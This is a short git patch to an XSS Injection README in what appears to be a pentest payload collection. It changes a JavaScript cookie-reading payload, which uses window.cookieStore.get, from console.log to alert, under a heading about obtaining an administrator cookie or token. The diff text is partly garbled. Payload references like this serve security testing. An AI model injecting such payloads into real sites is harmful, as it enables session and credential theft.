From 9a42be1113d78ba26bc91e6761a595b745e9a2b4 Mon Sep 17 00:00:00 2001 From: Cory Cline Date: Thu, 13 Oct 2022 18:45:55 -0500 Subject: [PATCH] Replaced console.log with alert It's more common to want alert screenshots vs console screenshots. --- XSS Injection/README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/XSS Injection/README.md b/XSS Injection/README.md index bbbaaf5..ce1abe9 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -117,7 +117,6 @@ Obtains the administrator cookie or sensitive access token, the following payloa Write the collected data into a file. -```php {console.log(cookieValue.value);}); +Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{alert(cookieValue.value);}); ``` ### Bypass using javascript inside a string